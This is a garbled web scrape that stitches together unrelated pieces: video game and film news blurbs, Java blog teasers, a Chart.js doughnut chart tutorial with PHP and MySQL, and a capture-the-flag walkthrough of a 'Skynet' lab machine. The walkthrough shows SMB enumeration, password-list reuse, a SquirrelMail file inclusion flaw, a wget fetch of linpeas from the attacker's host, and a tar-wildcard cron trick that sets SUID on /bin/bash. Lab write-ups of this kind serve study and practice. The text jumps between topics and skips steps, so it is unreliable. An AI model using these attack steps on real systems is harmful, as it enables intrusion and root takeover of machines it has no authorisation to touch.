Forspoken is an action RPG that follows the journey of Frey, a young New Yorker transported to the beautiful and cruel land of Athia. In search of a way home, Frey must use her newfound magical abilities to traverse sprawling landscapes, battle monstrous creatures and defeat powerful matriarchs known as Tantas.
Fast X Drops New Poster In Advance Of Upcoming Trailer Debut
The first trailer for Fast X is coming on February 10, confirming reports from earlier this month with a new poster that you can check out below. Both the poster and trailer debut date come from the movie's official Twitter account.
The trailer is expected to be roughly three minutes long--a recent Collider report indicates the clip will be "well over" that length--and another video spot will air during the Super Bowl on February 12. Universal previously released the first trailer for Fast 9 right around the Super Bowl back in 2021. Diesel has previously teased a trailer would be coming sometime in February over social media earlier in the month.
Fast X stars Vin Diesel and other members of the franchise cast, including Michelle Rodriguez, Jordana Brewster, Tyrese Gibson, Chris "Ludacris" Bridges, and Sung Kang. Newcomers include Brie Larson (Captain Marvel), Jason Momoa (Aquaman), and Daniela Melchior (The Suicide Squad)--plus Rita Moreno (West Side Story) as Dom's grandmother.
Unique Java Card verification and deployment model
Today's blog entry discusses one of the unique aspects of Java Card technology: the application deployment model and its binding with the bytecode verification.
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-23 18:56 EST
Nmap scan report for 10.10.144.117
Host is up (0.086s latency). PORT STATE SERVICE
139/tcp open netbios-ssn Host script results:
| smb-enum-shares:
| account_used: guest
| \\10.10.144.117\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (skynet server (Samba, Ubuntu))
| Users: 1
| Max Users: <unlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.144.117\anonymous:
| Type: STYPE_DISKTREE
| Comment: Skynet Anonymous Share
| Users: 0
| Max Users: <unlimited>
| Path: C:\srv\samba
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.144.117\milesdyson:
| Type: STYPE_DISKTREE
| Comment: Miles Dyson Personal Share
| Users: 0
| Max Users: <unlimited>
| Path: C:\home\milesdyson\share
| Anonymous access: <none>
| Current user access: <none>
| \\10.10.144.117\print$:
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Users: 0
| Max Users: <unlimited>
| Path: C:\var\lib\samba\printers
| Anonymous access: <none>
|_ Current user access: <none>
smbmap -H 10.10.144.117
[+] Guest session IP: 10.10.144.117:445 Name: 10.10.144.117 Disk Permissions Comment ---- ----------- ------- print$ NO ACCESS Printer Drivers anonymous READ ONLY Skynet Anonymous Share milesdyson NO ACCESS Miles Dyson Personal Share IPC$ NO ACCESS IPC Service (skynet server (Samba, Ubuntu))
LOGIN TO SAMBA SHARES AS ANONYMOUS
smbclient //10.10.144.117/anonymous
Password for [WORKGROUP\kalisurfer]:
Try "help" to get a list of possible commands.
smb: \> ls . D 0 Thu Nov 26 11:04:00 2020 .. D 0 Tue Sep 17 03:20:17 2019 attention.txt N 163 Tue Sep 17 23:04:59 2019 logs D 0 Wed Sep 18 00:42:16 2019 grab the log1.txt (a password list)
milesdyson (username)
WALK THE WEBSITE
We discovered a login portal for squirrelmail from the dirb scan. Let’s check it out now in our browser.
Loading the site reveals a version number. A quick search points to a local file inclusion vulnerability.
SquirrelMail version 1.4.23 [SVN]
Squirrelmail 1.4.x - 'Redirect.php' Local File Inclusion
ENUMERATING THE SMB SHARE
The first password from the log1.txt file from the smb share on the list works! We are in milesdyson’s email account now and see two interesting emails.
smbclient //$targetIP/milesdyson -U milesdyson
Password for [WORKGROUP\milesdyson]:
Try "help" to get a list of possible commands.
smb: \> ls . D 0 Tue Sep 17 05:05:47 2019 .. D 0 Tue Sep 17 23:51:03 2019 Improving Deep Neural Networks.pdf N 5743095 Tue Sep 17 05:05:14 2019 Natural Language Processing-Building Sequence Models.pdf N 12927230 Tue Sep 17 05:05:14 2019 Convolutional Neural Networks-CNN.pdf N 19655446 Tue Sep 17 05:05:14 2019 notes D 0 Tue Sep 17 05:18:40 2019 Neural Networks and Deep Learning.pdf N 4304586 Tue Sep 17 05:05:14 2019 Structuring your Machine Learning Project.pdf N 3531427 Tue Sep 17 05:05:14 2019 9204224 blocks of size 1024. 5831424 blocks available
Let’s grab the important.txt file:
get important.txt
Reading through the contents, we are pointed toward a hidden beta cms directory
/45kra24zxs28v3yd
GOBUSTER FOR DIRECTORY SNIFFING
We’ll further enumerate the hidden beta cms directory now with gobuster.
gobuster dir -uhttp://10.10.221.72/45kra24zxs28v3yd/ -w /usr/share/wordlists/dirb/common.txt
After downloading linpeas.sh and serving it with the simple HTTP server, we can copy it over to our target machine’s /tmp folder with wget http://$myIP:port/linpeas.sh.
ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it on your own computers and/or with the computer owner’s permission.
LEGEND: RED/YELLOW: 95% a PE vector RED: You should take a look to it LightCyan: Users with console Blue: Users without console & mounted devs Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) LightMagenta: Your username Starting linpeas. Caching Writable Folders... ╔═══════════════════╗
═══════════════════════════════╣ Basic information ╠═══════════════════════════════ ╚═══════════════════╝
OS: Linux version 4.8.0-58-generic (buildd@lgw01-21) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.4) ) #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017
User & Groups: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Hostname: skynet
Writable folder: /dev/shm
[+] /bin/ping is available for network discovery (linpeas can discover hosts, learn more with -h)
[+] /bin/bash is available for network discovery, port scanning and port forwarding (linpeas can discover hosts, scan ports, and forward ports. Learn more with -h)
[+] /bin/nc is available for network discovery & port scanning (linpeas can discover hosts and scan ports, learn more with -h) Caching directories . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . DONE ╔════════════════════╗
══════════════════════════════╣ System Information ╠══════════════════════════════ ╚════════════════════╝
╔══════════╣ Operative system
╚ https://book.hacktricks.xyz/linux-harden...l-exploits
Linux version 4.8.0-58-generic (buildd@lgw01-21) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.4) ) #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017
Distributor ID: Ubuntu
Description: Ubuntu 16.04.6 LTS
Release: 16.04
Codename: xenial ╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-harden...do-version
Sudo version 1.8.16 ╔══════════╣ CVEs Check
Vulnerable to CVE-2021-4034 Potentially Vulnerable to CVE-2022-2588 ---abbreviated ---
THE MOST RELEVANT INFO FROM LINPEAS in bold:
VULNERABLE TO CVE-2021-4034
MAYBE CVE-2022-2588 https://github.com/carlospolop/PEASS-ng/...linpeas.sh
[+] [CVE-2017-16995] eBPF_verifier Details: https://ricklarabee.blogspot.com/2018/07...linux.html Exposure: highly probable Tags: debian=9.0{kernel:4.9.0-3-amd64},fedora=25|26|27,ubuntu=14.04{kernel:4.4.0-89-generic},[ ubuntu=(16.04|17.04) ]{kernel:4.(8|10).0-(19|28|45)-generic} Download URL: https://www.exploit-db.com/download/45010 Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1
FURTHER ENUMERATION
Let’s probe a bit more into this machine for some of the common Linux privilege escalation pathways.
CHECK CRONJOBS
cat /etc/crontab
Output:
# m h dom mon dow user command
*/1 * * * * root /home/milesdyson/backups/backup.sh
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
The first job in the list is set to run every minute and it just executes backup.sh. Let’s find out what that file does.
We can see that backup.sh starts a new shell, changes directory to /var/www/html and then creates a tarball file of all the files from /var/www/html and stores it in home/milesdyson/backups/backup.tgz
The * is a wildcard symbol that means everything in the current directory. We can exploit this by adding our own files and using file names with unusual extensions to launch a malicious file, magic.sh as part of the automated cronjob that runs backup.sh and creates a tarball every minute of the contents of the directory.
PLAN AND CARRY OUT PRIVILEGE ESCALATION
First, we’ll create the magic.sh file that will add a SUID bit to /bin/bash. The next time we spawn a shell after setting up the hack and waiting at least 1 minute, we can use persistence mode (/bin/bash -p) to spawn a root shell.
Next, let’s use echo to create two more files with unusual names that are necessary for the tarball creation process to trigger our magic.sh program and add the SUID bit to /bin/bash.
Takeaway #1 – The simpler solution is usually the better solution. - I wasted a lot of time trying to get Metasploit to catch the reverse shell and start a meterpreter session.
In the end, I learned I had overlooked setting the payload on msfconsole listener (exploit(multi/handler)) to match that of my reverse shell payload.
It’s not listed when you search “options”, but it is still necessary to set it to be able to properly catch the shell and start a meterpreter session. I used a basic shell session to root the box, and all of that precious time spent on metasploit didn’t help us get root access.
Takeaway #2 – Remote file inclusion vulnerabilities allow threat actors to carry out arbitrary code execution. In practice, this means that your machine can be quickly compromised, all the way down to the root user.
The doughnut chart is similar to the pie chart except for the cutout area in the middle of the pie graph.
It shows the partitions out of a boundary taken. The circle of the pie or doughnut chart is the boundary and the partitions give relational statistics.
This quick example has the Chart JS JavaScript to display a doughnut chart. Earlier, we started with Chart JS line chart and have seen many examples for this library.
Quick example
<!DOCTYPE html>
<html>
<head>
<title>Chart JS Doughnut</title>
<link rel='stylesheet' href='style.css' type='text/css' />
</head>
<body> <div class="phppot-container"> <h1>Chart JS Doughnut</h1> <div> <canvas id="chartjs-doughnut"></canvas> </div> </div> <script src="https://cdn.jsdelivr.net/npm/chart.js@4.0.1/dist/chart.umd.min.js"></script> <script> new Chart(document.getElementById("chartjs-doughnut"), { type: 'doughnut', data: { labels: ["Lion", "Horse", "Elephant", "Tiger", "Jaguar"], datasets: [{ backgroundColor: ["#51EAEA", "#FCDDB0", "#FF9D76", "#FB3569", "#82CD47"], data: [418, 263, 434, 586, 332] }] }, options: { title: { display: true, text: 'Chart JS Doughnut.' }, cutout: '60%', // the portion of the doughnut that is the cutout in the middle radius: 200 } }); </script>
</body>
</html>
The code doughnut chart differs only by the property type: doughnut instead of type: pie.
Output
It displays the count of an animal on each wing of the doughnut chat.
As in the pie chart example, the animal names are taken for the “labels” property. The count of each animal is the chart data. Different background colors classify it in the doughnut chart.
The below figure shows the output of this Chart JS doughnut example.
Doughnut Chart with PHP and MySQL Database
This example will be helpful if you want to display dynamic data from an external source.
It uses a database source to supply data for the Chart JS doughnut chart.
The db_chartjs_data is the database that contains the tbl_marks table. It has student’s mark in percentage.
The doughnut chart should display the number of students who got a particular percentage.
doughnut-chart-with-php-database.php
<?php
$conn = new mysqli('localhost', 'root', '', 'db_chartjs_data');
$sql = "SELECT count(*) as marks_percentage_count, percentage FROM tbl_marks GROUP BY percentage";
$result = $conn->query($sql);
{ $label = array(); $percentage = array(); while ($row = $result->fetch_assoc()) { $label[] = $row["percentage"] . "%"; $percentage[] = $row["marks_percentage_count"]; }
}
$chartLabel = json_encode($label);
$chartData = json_encode($percentage);
?>
<!DOCTYPE html>
<html>
<head>
<title>Doughnut Chart with PHP and MySQL Database</title>
<link rel='stylesheet' href='style.css' type='text/css' />
</head> <body> <div class="phppot-container"> <h1>Doughnut Chart with PHP and MySQL Database</h1> <div> <canvas id="chartjs-doughnut"></canvas> </div> </div> <script src="https://cdn.jsdelivr.net/npm/chart.js@4.0.1/dist/chart.umd.min.js"></script> <script> new Chart(document.getElementById("chartjs-doughnut"), { type: 'doughnut', data: { labels: <? php echo $chartLabel; ?>, datasets: [{ backgroundColor: ["#51EAEA", "#FCDDB0", "#FF9D76", "#FB3569", "#82CD47"], data: <? php echo $chartData; ?> }] }, options: { title: { display: true, text: 'Chart JS Doughnut' }, cutout: '60%', // the portion of the doughnut that is cutout in the middle radius: 200 } }); </script>
</body>
</html>
This is the database script to import before running this example.
db_chartjs_data.sql
--
-- Database: `db_chartjs_data`
-- --
-- Table structure for table `tbl_marks`
-- CREATE TABLE `tbl_marks` ( `id` int(11) NOT NULL, `name` varchar(55) NOT NULL, `percentage` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; --
-- Dumping data for table `tbl_marks`
-- INSERT INTO `tbl_marks` (`id`, `name`, `percentage`) VALUES
(1, 'John', 85),
(2, 'Matthew', 85),
(3, 'Tim', 65),
(4, 'Clare', 75),
(5, 'Viola', 85),
(6, 'Vinolia', 75),
(7, 'Laura', 85),
(8, 'Leena', 75),
(9, 'Evan', 85),
(10, 'Ellen', 90); --
-- Indexes for table `tbl_marks`
--
ALTER TABLE `tbl_marks` ADD PRIMARY KEY (`id`); --
-- AUTO_INCREMENT for dumped tables
-- --
-- AUTO_INCREMENT for table `tbl_marks`
--
ALTER TABLE `tbl_marks` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=11;
This code prepares a query to fetch the student’s count grouped by percentage. There are four distinct percentages in the database.
This output screenshot displays the number of students who scored a particular percentage.
Output
The ChartJS script to display a doughnut chart requires additional (optional) property. That is, the cutout property specified under the ChartJS options array.
It accepts value in percentage. It decides the transparent area cutout from the middle of the doughnut chart.
Star Wars Jedi: Survivor Preorders Come With Free $10 Gift Card
The long-awaited Star Wars Jedi: Survivor is just around the corner. Releasing on April 28, the sequel will put players back in the Jedi-sized shoes of Cal Kestis, who is working to evade the Empire in a dark new story st five years after the Star Wars Jedi: Fallen Order. If you know you’ll be playing the game on launch day, consider preordering a copy from Best Buy, as the retailer is offering free $10 gift cards with most purchases.
Best Buy’s promotion applies to both the standard and deluxe editions on Xbox and PlayStation. Once your purchase is fulfilled or picked up in-store, the $10 gift card will be sent to your email. You’ll also get the standard preorder bonuses, which include several cosmetics inspired by Obi-Wan Kenobi.
If you’re looking for the cheapest way to add Star Wars Jedi: Survivor to your collection, preordering the standard edition from Best Buy is probably the best option. While it isn’t discounted, the $10 gift card is the best preorder bonus currently available for the game--and you can use it to purchase the next big game you have your eye on.
Developed exclusively for next generation consoles and PC, raising the level of horror and immersion to unprecedented heights for the franchise through stunning visuals, audio and controls powered by the Frostbite game engine. Fans will experience an improved story, characters, gameplay mechanics and more as they fight to survive a living nightmare aboard the desolate mining starship, the USG Ishimura, all while uncovering the dreadful mystery of what happened to the slaughtered crew and ship.
In Dead Space, Isaac Clarke is an everyman engineer on a mission to repair a vast, sprawling starship, the USG Ishimura, only to discover something has gone horribly wrong. The ship's crew has been slaughtered and infected by some alien scourge...and Isaac's beloved partner, Nicole, is lost somewhere on board. Now Isaac is alone with only his tools and engineering skills as he attempts to uncover the nightmarish mystery of what happened aboard the Ishimura. Trapped with hostile creatures called "necromorphs", Isaac faces a battle for survival, not only against the escalating terrors of the ship, but his own crumbling sanity.
Java is #1 choice for cloud according to VDC Research
VDC Research report on the state of Java globally produces interesting findings every year. This post highlights a few of the noteworthy discoveries based on research conducted by VDC.
How I used a remote file inclusion vulnerability to hack and root the Terminator’s computer
